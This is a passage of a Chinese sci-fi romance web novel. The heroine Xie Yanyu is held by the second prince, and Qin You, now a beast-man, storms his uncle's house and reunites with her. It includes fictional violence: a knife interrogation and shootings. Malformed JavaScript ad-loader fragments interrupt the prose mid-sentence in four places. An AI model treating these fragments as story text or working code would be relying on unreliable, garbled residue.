“小姐,劳烦您去外边等等。”等下血糊拉茬的,多不好看呐,别吓着人家了。 谢烟雨无异议,转身就出去了。 她一走,房间里就只剩下肌肉男和陈述了。 肌肉男知道一号就是秦宥,就是那个改造成功的兽人。 他一拳打死了白老怪,逃出了实验室,还弄死了很多实验中的样品,杀伤力极高。 最可怕的,这东西没有感情! 虽然不知道为什么他对那个女人言听计从,但这不妨碍肌肉男窥见他眼底深处的冷漠。 他真的会弄死他的! 肌肉男哆嗦起来,可如果他说了实话,那位也会弄死他的! 陈述一步一步走过去,带着美瞳的眼睛毫无感情,像是某种冰冷嗜血的动物,带着令人毛骨悚然的气息。 他走到肌肉男身前,将匕首抵住他的胸膛,低声呢喃,“我知道不杀死猎物,又能让猎物生不如死的方法。” “我已经很久没有见过鲜血了。” 陈述确实很久没有见过鲜血了,自从转到幕后,他就没有了上战场的机会。 肌肉男不知道他是这个意思,他只知道,野外的狼是会吃人的,他亲眼见过,那匹凶猛的狼王一口咬下他兄弟半张脸皮。 为了抓住这匹狼,他损失了好几个兄弟,而如今,那匹狼死了,它的基因和血液被灌进眼前人的身体中,让他成为了兽人。 肌肉男不可抑制地哆嗦起来。 匕首贴着他的胸膛一寸寸嵌入,划拉开皮肉,一片冰凉过后是刺痛,接着冒出血丝。 肌肉男额上渗出冷汗,“你如今成为兽人,就算不能回军团也会有更好的发展,你应该感谢我们!” 感谢你妈! 陈述面无表情地将刀刃往里送几分。 肌肉男咬紧牙关,比起以前受过的伤,这点口子并不能让他疼得发抖。 他害怕的不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是刀子,是一号这个身份。 现在一号拿着刀子要剜他的肉,他的第一反应不是痛,而是精神上的崩溃。 当初狼王撕碎他兄弟侧过头看他时,双眸被血染得发红,那眼神压根不是在看他,而是在考虑要怎么撕碎他。 他颤颤巍巍地打出麻醉剂,狼王也只是晃了下头,就迈着有些歪的步伐一步步靠近他。 它要撕碎这个灭了它全族的人类,就算是死亡,也不能阻止它把他撕碎。 肌肉男和受伤的狼王纠缠许久,才把它杀死。 但当他喘着粗气庆幸自己还活着的时候,看见了狼王倒下的身躯。 狼王正对着他,那双红眸一刻都没有离开过他,就算死去也一样。 肌肉男呼吸一下凝固住了,他说不上来是什么感觉,只觉得自己头皮发麻,去合狼王眼的手都在颤抖。 合不上,还是合不上。 他跟那双眼睛较劲了很久,始终合不上。 狼是一种记仇的动物,他被狼王记恨上了,恨到就算死去也不肯合眼。 那双被血染红的狼眸里始终有他的倒影。 肌肉男抬头对上陈述冰冷的双眼,仿佛看见了那只誓死要弄死他狼王,一个哆嗦,居然晕了过去。 陈述皱起眉,啧了一声,烦躁地把匕首抽出来,“这么垃圾?我还没开始吓呢!” 他确认肌肉男不是装晕后出去跟谢烟雨说了声。 谢烟雨想了想,“先不管他,我们……” “小姐,其余三人找到了!”派去找人的保镖回来了,身后的押着看不清神色的三个人,“他们藏在巷子里正准备跑呢!” 谢烟雨看过去,这三个人是那天的老乞丐,那屋子里头的男主人,以及叫肌肉男哥的男人。 都在这里了。 谢烟雨多了几分喜意,接下来她带着人往树林一藏,既能守株待兔,也比较安全。 她让保镖拎上肌肉男,提前撤离,自己和陈述押着屋子男主人去找保镖头子。 进了屋,看见男人被绑着,小女孩眼里爆发出巨大的惊喜,“你要们带他走了吗?” 她刚刚已经听这个大哥哥说了法律是什么东西,现在感觉男人远离自己和母亲的生活越来越有希望。 “对,我要带他走了。”谢烟雨半蹲着看她,“你叫什么?” “燕玉,是我母亲取得,好听吗?” 谢烟雨看向那个拘谨的女人,点头,“很好听。燕玉,你要多学点东西,特别是知识,知道吗?” “我知道,母亲说过,要让我走出这里,去更高级的星球。” “乖。”谢烟雨摸了摸她的发顶,“我们走了。” “姐姐再见。” “再见。” 谢烟雨带着人转身离开,走到树林边上时,手腕上的光脑疯狂振动,她心里瞬间有了不太好的预感。 来不及点开光脑,谢烟雨感觉自己一瞬间汗毛竖立,像是感受到了什么极其危险的东西。 陈述一脚踹开保镖头子,将谢烟雨推过去,“你们先走!” “谁都走不了!” 不远处,秦天海站在星舰旁,冷声下令,“活捉谢烟雨和她旁边的长发男人!” 36. 60% 秦宥睁开眼,动了动身子,牵起一片疼意蔓延全身。 他扫了眼四周,皱着眉,用手撑起身子,只这么一个动作,就让他额头覆上一层薄汗。 身上的骨头像是被打碎重组一般,疼得浑身发颤。 秦宥喘了两口粗气,刚要下床,门外传来脚步声,他眼神微眯,身上的气势一下就变了。 还没等他散发出这股危险的气息,门被打开,进来的是还穿着军装,从军团赶来的苏铭。 见到秦宥坐起身,他脸上漾开一片惊喜,“可算醒了,你都睡了两天了!” 苏铭大步上前,“恢复能力够快的,伤口昨天还在渗血,今天已经结痂了。” 秦宥身上的狠戾气息悄然散去,“嗯。” 他任苏铭围着他上看下看,目光不自觉地朝门口看。 她……是刚好没来,还是一直…… 秦宥看了好一会门口,转头看向一边喋喋不休的苏铭,“发消息。” “发什么消息?”苏铭还沉浸在秦宥回来的喜悦中,闻言下意识问道。 秦宥掀起眼皮看他,没有说话,意思明显。 苏铭脸上的笑容僵了一下,“啊对,忘记叫谢小姐了!” 他低头点开光脑,假装给谢烟雨发消息。 他其实还没想好怎么跟秦宥讲这件事,最重要的是,人已经留在那里了,牺牲已经做出了,要是秦宥不配合,一切都白费了。 但这种事,又怎么能强行让他配合…… 秦宥眯了眯眼,“苏铭,你有事瞒我。” 苏铭垂头看他,坚持了一瞬就摊手,“好吧,反正你早晚要知道的。” “什么意思?” 秦宥心里升起不好的预感,他紧紧盯着苏铭,手指攥紧了身下的被子。 “她……为了让你有时间恢复,留在木穹星了。”苏铭看着秦宥,眼神紧张,防止他一个激动跑走,“我把陈述留在那了!” 秦宥眉头渐渐蹙起,“这是她的决定还是……” “你说呢?我哪敢做这种决定。”苏铭见他没有自己想象中的冲动,松懈了几分。 秦宥的命是命,谢烟雨的命也是命。 闻言,秦宥闭了闭眼,直到手心传来刺痛,他才猛然回神,下意识松开了紧紧攥着的被子。 “我已经醒了,派人去接她。” “你的情况一稳定我就派人过去了,算算时间,也差不多到了。” 苏铭话音刚落,光脑一顿震动,他点开扫了眼,脸色倏地一变,“秦宥……” “嗯?” “……谢烟雨被秦天海带走了!” 秦宥猛地抬头看向他,“你再说一遍?” 苏铭被他身上的气息压得一怔,还没出声,就见秦宥起身走了出去。 他后知后觉地抹了把后背,军装里头薄薄的衬衣竟然被汗湿了。 秦宥变了个样子后,整个人都发生了变化,不仅是五官,更是别的,例如——眼神。 方才苏铭跟他对视的瞬间,有种被猛兽盯住的毛骨悚然的感觉。 他皱了皱眉,不知道这样的转变是好是坏,也来不及思考,快步出去追秦宥。 秦宥身上带伤,却走得极快,要不是门口派了人守着,还真的追不上他。 “你们拦我?”秦宥眯了眯眼,低沉的声音透着可怖的威压。 奉命守在门口的两人下意识地后退一步,想到自己的任务又硬着头皮上前,“不能出去,这是……” “秦宥!” 追上来的苏铭喊了一声,两名士兵的眼睛放大,目光齐齐落在秦宥身上,不可置信道:“你是上将?!” 苏铭上前扫了他们一眼,再多疑问也被压了下去,两人尽管心里疑惑众多,也转身继续坚守岗位,只是耳朵支得老高了。 “你不能这么出去,你变化太大了,身上也没有能证明身份的徽章,秦天海压根不会搭理你!” “而且,他注意到谢小姐,不是因为秦宥这个身份,而是另一个身份!” 苏铭皱着眉,低声道,“你失忆的时候,到底做了些什么?才会让二皇子下令不记一切后果抓到你?!” 秦宥顿了一瞬,扯了扯嘴角,“没做什么,不过是去拿回我的徽章以及……暗杀他而已。” “暗杀?!” 苏铭的声音大了些,引得门口的两人看了过来,他拉着秦宥上楼,语气着急,“什么时候的事?” 秦宥扯开他的手,“生辰宴。” 苏铭皱眉,“怪不得。” “把最近发生的事整理成资料给我。”秦宥仿佛已经冷静了下来,“秦家埋的人都可以动了。” 他说得这些苏铭都做好了,一边发资料一边问,“你现在这样,打算怎么证明自己是秦宥?” “没有必要证明。”秦宥说,“我是兽人,就算我不是秦宥,只要我说我是,也会是。” 怪不得伤好这么快,怪不得变成现在这样。 苏铭讶异了一会就反应过来,“那那些士兵呢?就算是兽人,也是受法律制裁的,何况知道你回来,那些人肯定会提出审判!” 秦宥皱了皱眉,“先解决秦家,这事我亲自和秦天海谈。” 而此时,秦天海正在向二皇子请罪。 二皇子原先低着头,听完秦天海的汇报,抬头看过去,声音压得极低,“你说什么?” 秦天海感觉自己仿佛被粘稠的空气裹住了鼻子,连呼吸都变得困难。 他把头压得更低,声音里带着微不可察地颤抖,“殿下,是……” 啪—— 厚重的文件甩在秦天海的后脑勺上,发出一声闷响。 正站在一旁的谢烟雨眼皮微颤,看了过去。 只见二皇子脸色黑如碳,目光阴沉,“我给了你这么多人,你居然跟我说没有抓到?!” 秦天海被砸得眼前一黑,头差点磕在地板上,强忍不适稳住身形,又一叠资料砸了下来。 纸张掉落一地,显得被砸爬的秦天海分外惹眼。 二皇子呼吸急促地捶了一下桌子,显然气急了,“我最后给你两天时间,要是再找不到……秦天海,我会让你生不如死!” 秦天海直起身子磕了个头,“是!” 等他退出去,谢烟 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 雨才缓缓收回目光。 在树林边上,她让陈述带着保镖头子一块跑了。 秦天海带了一帮人过来,还有威力极强的能量炮。 陈述不是秦宥,绝对扛不下能量炮,更何况带着她。 秦天海是二皇子的人,失忆的秦宥刺杀过二皇子,陈述要是落在秦天海手里,就是落入二皇子手里,他不可能活得下来。 所以,最好的办法就是放弃她。 陈述武力值很高,保镖头子的也不错,两个人不带累赘,勉强能跑出去,跑出去之后再喊人救她,这是最好的办法。 可惜那个男人不但没带走,还被秦天海一枪打死了,不然还能有个证人。 一号就是秦宥的事二皇子应该还不知道,不然她不会有这种待遇。 谢烟雨扫了眼眼前的点心和饮品,眼底闪着一丝什么,快得令人无法捕捉。 她有些庆幸秦天海抓了她就走了,没有在木穹星逗留,不然肯定能发现谢父等人失踪的事。 【叮!“找到秦宥并帮他洗刷冤屈”任务完成度达到60%!】 任务光幕突然出现在空中,还没等谢烟雨反应过来,许久不见的690也出现了: “恭喜宿主完成任务一,离任务结束期限还有五十八天,请宿主尽快完成任务二。” 谢烟雨用余光扫了眼正在不远处的二皇子,在心里回应:“秦宥的任务完成了?” “是的。” “可是,审批并未开始,秦宥最终的审判结果还没出来,他的冤屈如何洗刷了?” 690道:“宿主,任务说的是帮助,您已经帮秦宥找到了相关证人,还让他恢复了记忆,就是帮助。” 谢烟雨思索了一会,“我明白了。” 被保镖们带走的三个证人,恢复记忆的秦宥肯定会好好利用,因此有百分之五十的可能性。 再加上秦宥如今兽人的身份,以及白老怪的研究资料这百分之十,她的确完成了任务。 许是因为谢烟雨在规定时间内完成了一个任务,690并没有直接消失,而是在空中转了一圈,对准谢烟雨问:“宿主还有什么疑惑吗?” 谢烟雨沉默了一会,问:“……为什么是百分之六十?” 她一直不太明白,既然都下发了任务,为什么不是百分之一百,而是百分之六十? 百分之六十,就像是一条及格线,堪堪给秦宥提供了一点助力,还不能保证他跨过这一道坎。 谢烟雨想过这个问题,但这会想听听690给的解释。 “宿主,世界上的任何一件事,都没有百分之百的可能性完成,绝对的肯定就是一种否定。” “60%是辅助系统能干预的最大程度,也是宿主总容易达到的标准。” 谢烟雨知道这些,而恰巧不明白的点就在这里,“那你们怎么保证,这百分之六十产生的最终结果是正确的?” 出乎意料的是,690道:“我们不能保证。宿主,我们已经试过了,这就是最好的结果。” 690的最后一句话让谢烟雨有些怔忡。 试过了,就是最好的结果? 37. 上门 谢烟雨回过神,二皇子已经坐在了她对面,神色不明地盯着她看。 “谢小姐。”他打量着她,视线在她的脸上流连了一会,“那个男人是谁?” “我并不知道。”谢烟雨神情自若,“他救了我,我看他厉害就把他带回去当保镖了。” 二皇子皱眉,看她半晌,不知道是信了还是没信,冷笑一声,站起身道:“送谢小姐去客房休息,好生照料着。” 谢烟雨行了一礼,转身离开。 刚走到门口,身后传来一道听不出意味的声音,“谢小姐,若我没记错,谢大人给你请了两位女官?” 谢烟雨脚步一顿,垂下双眸,鸦羽似的睫毛在眼底形成阴影,遮盖住一切情绪,“是的,殿下。” “她们现在人在何处?” “我不知道。”谢烟雨垂着头,声音恭敬,“我离开这里去寻上将时,她们已经离开了。” 二皇子一言不发。 谢烟雨没有抬头,也能感受到他落在自己身上的目光,粘稠,湿冷。 半晌,他冷哼一声,“谢小姐不好奇本殿下为什么找你?” 谢烟雨:“殿下自有殿下的理由。” 二皇子短促地笑了一声,“听你这意思,立场和你父亲是一样的?” 这是在问谢烟雨是不是站在他这边。 谢烟雨抬起头,行了一礼,声音坚定,“父亲忠于殿下。” 是的,谢父忠于二皇子。 但这跟谢烟雨有什么关系? 二皇子没有听出来她隐含的意思,只以为她在拐弯抹角表忠心。 提起谢父,他又想到了当初谢父的提议——把谢烟雨送给他当侧妃。 二皇子不由得打量了一番谢烟雨,瞧着是有些瘦弱,但胜在漂亮,也算弥补了这点,当侧妃玩玩,倒也不错。 心里这么想着,二皇子眼神柔和了一点,正要说话,他的随从官从门外进来,脸色着急。 二皇子沉下眉眼,“谢小姐,你的话本殿下记住了,希望你不要让本殿下失望。” 谢烟雨行了一礼,“是。” 谢烟雨离开后,随从官关好门,着急地道:“殿下,秦宥回来了!” 二皇子眉目一压。 为了防止谢烟雨出意外,秦宥并没有直接出现在人前,而是让苏铭去造势,将这个消息越传越广。 随从官脸色发白,“而且,听第一军团的人说,秦宥失踪是因为觉醒了兽人血脉暂且失忆,所以才没能回来。” “什么?!”二皇子震惊抬眼。 “他还自己提出,要在三日后给冤死士兵家属一个交待。”随从官唇瓣颤抖,“殿下,他......他会不会知道......” “闭嘴!”二皇子站起身,焦急地走了两圈,语气狠戾,“秦宥,别怪我狠心,谁让你挡了我的路呢!” 他面色阴沉,“去找秦天海,让他直接动手!” “是!”随从官低着头快步退出房间,赶紧去练习秦天海。 而此时的秦天海正忙得焦头烂额。 秦宥回来的事成为帝都热点,压下了所有花边新闻,自然也没有什么人看见沈玫与丈夫秘书的话题。 秦家书房,秦天海把光脑扔在桌子上,半空中浮现的虚拟屏幕随之晃动。 屏幕上林书和沈玫依偎在一起的图片晃了一下,再次变得清晰。 秦天海脸色发青,“什么时候的事?” 他对面的沈玫脸色煞白,不敢说一句话。 而沈玫身侧戴眼镜的儒雅男人却是轻笑一声,“秦先生,你发这么大的火干嘛啊?” 沈玫用余光看他,见他一脸无所谓,忍不住拽他的衣袖,“林书!” 她眼神质问:你疯了是不是! 林书拉下她的手握在手心,拉到嘴边明目张胆又慢条斯理地亲了一口,语气懒散,“我以为你会很早发现。” 他用力握住沈玫企图扯回去的手,掀起眼皮看了她一眼。 沈玫的挣扎弱了,垂下眸,朝她靠近一步,她不是不怕,但比起怕,她更愿意和这个男人一起去死。 林书看向脸色阴沉的秦天海,“可惜你一点都不在乎自己的妻子,也不关心她到底开不开心,居然这么多年都没发现。” 秦天海眸色暗沉,看向沈玫,“你也这么想?” 沈玫没有说话,但她站在林书身边的态度已然表达了一切。 秦天海感觉额角涨疼得厉害,他攥紧了手,声音发沉,“沈玫,你过来,只要你以后乖乖听话,这次的事我不追究。” 沈玫没回头,摇了摇头。 林书护着她不着痕迹地退到窗边,觉得这话好笑,“秦天海,我跟了你这么多年,第一次发现你还能这么大度?” 秦天海闭了闭眼,沉默过后站起身,掏出能量枪,对准沈玫,“既然你不听话,那也没有留着的必要了。” 沈玫吓得往后退了一步。 林书还牵着她的手,用力一拽,将人拉进自己的怀里,松开相牵的手拥住她,又把她的头摁进胸膛,轻笑道: “秦先生永远这么心急,跟我认识的另一位秦先生一点都不一样。” 秦天海眼眸一眯,枪对准了他的眉心,“你是秦宥派过来的?” “当然不是。”林书拍了拍沈玫的肩膀安抚她,即是被枪指着看起来也游刃有余,“听说秦先生不做人,欺负他,恰好他有恩于我,我就来了。” 秦天海眉头紧皱,逼问:“所以,你故意勾引她?” 趴在林书怀里的沈玫红了眼眶,下意识攥紧了林书的衣服。 林书扯了扯嘴角,“秦先生心脏,看人也脏。” 林书搭在沈玫腰上的手用力,直接将她横抱起来,空闲的那只手轻扣住她的后脑勺,凑近她耳边低声道:“夫人,跟我逃跑吧?” 沈玫轻点了下头。 看他们两个肆无忌惮的模样,秦天海的脸彻底黑了。 “林书!”秦天海绷着脸开了枪。 就在那一瞬间,林书推开窗户抱着沈玫跳了下去,落地的时候护住她滚了两圈,站起身,跟跑到窗边的秦天海比了个拜拜的手势。 “老子忍你很多年了煞笔!现在上将要动你了,你就等着死吧!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 喊出来的声音一字不落地钻进秦天海的耳朵,让他咬牙切齿,对准林书连开三枪。 林书狼狈地躲开,又闪过前来抓自己的一帮人。 跑到提前准备好的悬浮车旁,将沈玫和自己塞进去,飞快离开。 整个过程异常丝滑,显然蓄谋已久。 秦天海狠狠地锤了一下窗台,咬牙切齿地骂:“妈的!” 还不明所以的一干人无措地站在楼底,面面相觑,但谁也不敢出声。 知道秦天海抬起头,目光狠戾地扫向他们,“一帮蠢猪!还不快去追!” 他们这才慌忙跑开。 秦天海勉强把气压下去,想起林书走前说的那句话,皱起的眉头更紧。 他转身回到书桌旁,抓起光脑点开,各种各样的消息瞬间弹了出来,全都在说秦宥回来了。 秦天海脸色一变,大步出门想要弄清楚,就看见二皇子的随从官就被管家带了进来。 两人对视一眼后,随从官轻轻地点了下头,秦天海脑子嗡了一声,瞬间空白。 秦宥回来了! 他怎么能够回来! 随从官拉着他进了书房,门一锁,把所有人和声音隔绝在门外。 秦天海抓着枪的手有些抖,好一会才稳住声音道:“怎么回事?他怎么回来了?不是说死了吗!” “谁知道啊!他就是回来了!”随从官慌张地转了两圈,“你看消息了吗?听说他觉醒兽人血脉了!” “秦宥本身就够难对付了,现在还觉醒了兽人血脉,这……这……”随从官咬着牙道,“殿下的意思是,一不做二不休,直接把人杀了!” 秦天海把枪扔到一旁,“怎么杀?我们都不知道他在哪!” “他……” 随从官刚要说话,突然听见楼底传来骚动。 两人走到窗户旁往下看,秦家大门被一脚踹开,走在最前头的男人穿着黑衣,带着兜帽,露出来的碎发迎风飘扬。 他抬起头,准确无误地把视线落在秦天海身上,接着,他眯了眯宛若红宝石一般的眼睛,掏出能量枪—— 砰的一声。 秦天海瞳孔一缩,刚要躲,就感觉有什么东西擦脸而过。 随从官啊了一声,窜到门口,指着他的脸颤抖着道:“脸……你的脸……” 秦天海抬手一抹,刺痛传来,手上粘腻,鲜红的血让他脑子一怔,后背冒出密密麻麻的冷汗。 秦宥站在下边,抬枪再次对准他,砰—— 秦天海短促地叫了一声,捂着肩膀躲到墙后,“秦宥!你疯了!我可是你大伯!” 好一会没有人回答,秦天海喘着粗气抬眼,却看见门口缩着的随从官满脸惊吓,见鬼似地看向窗户,下一秒尖叫着开了门,连滚带爬往外逃。 秦天海转过头,猝不及防地和秦宥的红眸对视上,他感觉自己身后唰一下出了一层冷汗,腿忍不住打摆。 “你……不是秦宥,你是……” “我是秦宥。”秦宥翻窗进来,站在他身前,抬起墙,他在惊恐的眼神中微侧了下头,低声道,“也是,你在找的一号。” 38. 作数 秦宥连开两枪,废秦天海双腿。 感谢他的愚蠢,将保命枪被扔在了地上,秦宥掀开兜帽往前走时,一脚踩了上去。 能量枪不堪重负地发出一声响,不甘地化成了碎片。 秦天海眼神微变,疼痛让他眼神涣散,偏偏因为害怕精神过于紧绷,两种感觉相撞,让他觉得分裂。 “秦宥……你现在不是第一军团的上将,带着这么多人私闯民宅,是违法的……” “你们给我按上的罪名也不差这么一条了。” 秦宥动作利落地把书房里的监听器卸下捏碎,返回秦天海身边,将他踹在地上,“谢烟雨在哪?” 秦天海眼神闪烁,“不在我这。” 秦宥的枪抵在他的太阳穴,“徐州?”徐州是二皇子的名字。 秦天海闭嘴不言,秦宥了然,用枪怼了怼他的脑袋,没收力,让他眼前一黑,“你和徐州密谋了什么?” “把我搞死,他许诺你什么?内阁的位置?”秦宥冷笑一声,“当年你就愚蠢,如今还是没变。” 身上的伤口还在流血,失血过多的秦天海眼前一片模糊。 但他不敢有任何松懈,连续打了几枪的能量枪管口发烫,抵在太阳穴散发死亡气息。 他听出秦宥话语里的危险,咽了咽口水,“秦宥,我是被逼的,这些事都是二皇子让我做的!” “徐州那边我当然不会放过。”秦宥眨了眨红眸,手刀劈了下去。 秦天海倒在地上,彻底没了声音。 苏铭冲进来,还以为他死了,上前探了探他的脉搏,还活着,松了口气,暗骂一声。 他还以为秦宥生气把人杀了。 “我有分寸。”秦宥拍了拍苏铭让他起身,“带人搜这里,秦天海干什么坏事都喜欢留证据,我出事的证据应该就藏在这。” 苏铭应了一声,让跟进来的人开始搜。 秦天海的管家远远地看着,脸上尽是焦急,脚下一点没动。 秦明朗回来时看见自家大门倾倒,里头一帮陌生人在翻箱倒柜,残余的酒精瞬间完成挥发。 他拽过管家,“怎么回事?这帮人是谁?” “诶呦我的少爷!完了!”管家拉着他远离宅子,压低声音,“秦宥回来了!” “秦宥?”秦明朗转头就走,“我朋友约我去玩,这几天我都不回来了……” “少爷!”管家拦住他,“林书带着夫人跑了,秦宥对老爷开了几枪,现在不知道怎么样了……少爷,这家里可就您一个可以主事的了!您要是走了,我们怎么办啊!” 秦明朗脸色不自然,“秦宥都杀进来了,我能怎么办!” “我爸他在哪?怎么样了?”秦明朗满脸抗拒,一边往里走,一边问,“还有,什么叫做林书带着我妈跑了?” “不知道啊!老爷将林书和夫人喊进书房,没一会林书就带着夫人坐悬浮车跑了,然后秦宥就来了,对老爷开了好几枪呢!” 秦明朗大骂:“你们死了不成?怎么不拦着秦宥!” 管家脸色发苦,“拦不住啊!他唰一下就出现了,我都不知道他怎么上去的!” 书房内,要的东西已经找到了,秦宥传了一份给自己,把原件给苏铭,“我去一趟皇宫。” 苏铭张了张嘴,最后还是点头,“小心。” 秦明朗走到书房门口时,秦宥刚离开,苏铭正在吩咐手底下的人把秦家掌控起来。 秦明朗没发现秦宥,心底的害怕少了点,“你凭什么管我家的事?苏铭,你……” 苏铭看也没看他,被说烦了就拔枪,吓得秦明朗立刻闭嘴,过了会,他又期期艾艾地上前,“我爸呢?” 苏铭扫了他一眼,“滚。” 得知秦宥的事秦家确实参与后,苏铭恨不得一枪崩了秦天海,可惜后日审判会还得他出面。 秦明朗是秦天海的儿子,也是一个人渣,苏铭对他更没好脸色,他已经收集好了证据,等秦宥一声令下,就会全部抛出,秦家等着身败名裂吧。 此时,来到皇宫的秦宥见到了一个意想不到的人。 “秦上将,公主邀你一见。”蓉萱从树上跳下,平稳地落在秦宥跟前拦住他的去路,“她想和你谈谈谢小姐的事。” 秦宥双眸微眯,打量她一番后点头同意。 他跟着蓉萱左拐右拐地来到一偏僻小屋,三公主徐袅正端坐在桌子前,见到他起身,“秦上将。” 秦宥行了一礼,“公主。” 两人在房间里待了二十来分钟,秦宥临走前,徐袅递给他一张纸条,“这是谢小姐的位置。” 与此同时,谢烟雨正坐在房间里发呆。 她的光脑被二皇子收走,房间里什么都没有,她只能抽了本书看,但看着看着就开始发呆。 不知道陈述和保镖们有没有安全到达帝都,不知道秦宥醒了没有。 谢烟雨一边想,一边在茶几上画画。 她的手偏凉,落在茶几上的画没一会就会消失,没人看得出来她在画什么,乍一看还以为她在瞎比划。 但若是有人将她画的一比一放在纸张上,就会发现,她画的竟是二皇子寝宫的地图! 她记忆力好,来时特地观察,记住了大半部署。 画完之后,谢烟雨凭借算法在西侧三楼的某块地方点了点,她应该在这,如果要出去,就得穿过走廊下楼,并绕到后院。 当然还有一条最便捷的路——直接从阳台跳下去,绕到后院。 谢烟雨没来过这边,不知道后院连接着哪里,但是正门是对着大路的,两边全是站岗士兵,她不可能逃得出去。 只有后院那条路了。 谢烟雨思考着,过了会站起身,打开门,门口站着的士兵立刻拦住她,“殿下说过,你不能出去。” 谢烟雨并不意外,“我有点口渴,劳烦让他们送些喝的上来。” 士兵点头,看着她把门关上才点开光脑联系下边的佣人。 谢烟雨开门的一瞬朝四周扫了眼,还是那班士兵,看来轮值是在晚上。 谢烟雨静静地等着,等听到门口的动静后起身开门,果然换了一个人,她对上士兵的视线,镇定自若,“不好意思,我有些饿了。” 士兵点头后,她很快关了门没有做一丝多余的动作。 不出意外的话,她的所有动作多会被汇报给二皇子。 就是不知道盯着她的人有多少,除了门口 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看得见的那个,暗地里还有没有。 很快,谢烟雨要的饭菜就送了上来。 送饭的是个年轻的男仆,低眉顺眼地进来,低眉顺眼地出去。 谢烟雨找不到任何突破口,只能先吃饭,可等她刚舀起一勺饭送进嘴里,阳台就传来轻响。 她似有所感地看过去,在漆黑的夜中对上一双红色的眸子。 谢烟雨瞳孔微缩,想到什么后站起身,拉开玻璃门走出去,外面的果然是秦宥! “你……” 还没等她说话,秦宥率先开口:“外面风大,进去多穿一件衣服,好不好?” 谢烟雨有些恍惚,她记得什么时候也听到过这种话,那时她进去加衣了,但现在不行了。 似乎是想到了什么,秦宥脱下外套披在她肩膀上。 外套还带着他的体温,以及若有若无的山茶花的香气。 不知道是不是谢烟雨的错觉,她总觉得秦宥的一头碎发还带着湿意,像是刚洗完一样。 两人沉默时,只有微风轻扫落的声音,山茶花的香气四溢,谢烟雨感觉心里安定不少。 她问:“陈述和十三他们回来了吗?” 秦宥点头:“回来了,我也去见过李叔了,我没跟他说你的事。” 谢烟雨松了口气,“那就好。” 李叔年纪大了,谢烟雨并不希望他操劳。 又是一阵沉默。 “你……” “我……” 两人同时开口。 谢烟雨扣着手心,舔了舔干涩的唇,没有再说话。 秦宥站在她身旁,整个人藏在黑暗中,看不太清神色,但谢烟雨能感觉到,他的视线一直停留在自己身上。 秦宥失忆那段时间也是这么看她的,当时没什么感觉,后来戳破一半窗户纸后更加习惯。 但现在他是秦宥! 这样的视线让谢烟雨有些无措,扣手的频率越来越快,都快把手心搓热了。 一声若有若无的轻叹传来,手背被轻轻碰了一下,谢烟雨整个人僵住。 “我……我想知道,我们的婚约,还作数吗?” 秦宥要说出口是很艰难,可话出口后变得顺溜,他甚至松了口气,庆幸自己说了出来。 谢烟雨感觉自己心跳飞快,换了好一会,“……你的想法呢?” 秦宥朝她靠近,肩膀碰上她的,手背挨手背,视线更加炙热,“作数,我想作数,可以吗?” 谢烟雨的心落了地,“嗯。” 秦宥追问:“嗯……是什么意思?” 谢烟雨:“你知道的。” 秦宥再靠近,“你也知道,我想听你说。” 谢烟雨闭了闭眼,仰头看他,“就是同意的意思。” 试过就是最好的结果。 她也要尽情地去尝试一切了。 秦宥呆了好一会,才从喉咙挤出一个嗯字,似乎觉得自己语气干巴,他又补充道:“我很开心。” 声音嘶哑得不成样,听得谢烟雨耳朵发颤,禁不住后退一步。 她身子刚动,就被秦宥拉了一下,动作很轻像是试探,见谢烟雨没有动作,他力道大了些,将人拥进怀中。 39. 逃跑 两人在晚风中相拥。 谢烟雨把脑袋埋进秦宥的怀中,细嗅山茶花的香气。 秦宥身子僵了一瞬,耳尖染上热意,他垂头,似有似无地亲了亲谢烟雨发顶。 楼下逐渐喧闹,应该是发现了被秦宥打晕的暗处守卫。 谢烟雨抓着秦宥衣角的手紧了紧,“你快走。” 二皇子已经动了杀心,秦宥就算再厉害,也不可能打得过武器精良的这么多人。 秦宥摸了摸她的头发,低声道:“给你送饭的男仆可信。” 谢烟雨点了点头,“我知道了。” 门外传来隐约的脚步声,再不走就来不及了。 秦宥放开了谢烟雨,“等我。” 二皇子踹门进来的时候,谢烟雨正跪坐在茶几旁吃饭,乌黑的青丝随着她的抬头垂落。 看清来人后,她神情淡然地起身行礼,“殿下?” 二皇子眯着眼睛打量她,后者静静地站在那,没有一丝不对劲。 他身后的士兵已经进门搜索,没有放过任何一个角落,就连阳台附近那棵树,也被打了好几枪。 谢烟雨低眉顺眼地站着,除了刚开始出现的一丝疑惑,什么表情都没有。 直到士兵领头冲二皇子摇了摇头,并带着人退出去后,她才抬了抬眼。 二皇子神色不明,“谢小姐不问问本殿下这是在干什么?” 谢烟雨摇了摇头,“无非是有人惹了殿下不开心,殿下想要抓住那个人而已。” “你倒是聪明。”二皇子意味不明地笑了声,“那你知道那个人是谁吗?” 谢烟雨看了他一眼,看着他冷笑着道:“秦宥。” 谢烟雨神色惊讶,恍然道:“怪不得。” “谢小姐就不担心他的安危?好歹是你的未婚夫。” 谢烟雨镇定道:“殿下说笑了,谢家人是殿下的人,殿下不喜欢谁,谢家人就不喜欢谁。” 二皇子打量着她,后者神色自若,仿佛说的话出自肺腑。 他看不出来有什么不对劲,只能狠狠地皱眉离开。 二皇子走后,谢烟雨坐下来继续吃饭,垂下来的余光看了眼梳妆台下的某处隐蔽角落。 二皇子看似相信了她,却是让人趁乱在房间里装了监听器。 小动作还挺多的,要不是她一直注意着,还真的发现不了。 谢烟雨收回视线专心吃饭。 两天一晃而过,很快到了审判的日子。 二皇子一点突破口也没找到,还折了几个好用的人。 谢父联系不上,二皇子已经当他死了,他坐的位置被二皇子换上了自己的心腹。 秦天海去木穹星之后联系不上,秦家没有异动,二皇子猜测秦宥已经对他出手了,也当他死了。 掌管第一军团的容萱开始提交辞呈,并提出,只要审判会宣布秦宥无罪,她会立刻退出第一军团回归第三军团。 这个提议受到了内阁大部分成员的肯定,最终被通过。 容萱在外表现一直中立,二皇子不怕她,只是觉得很棘手。 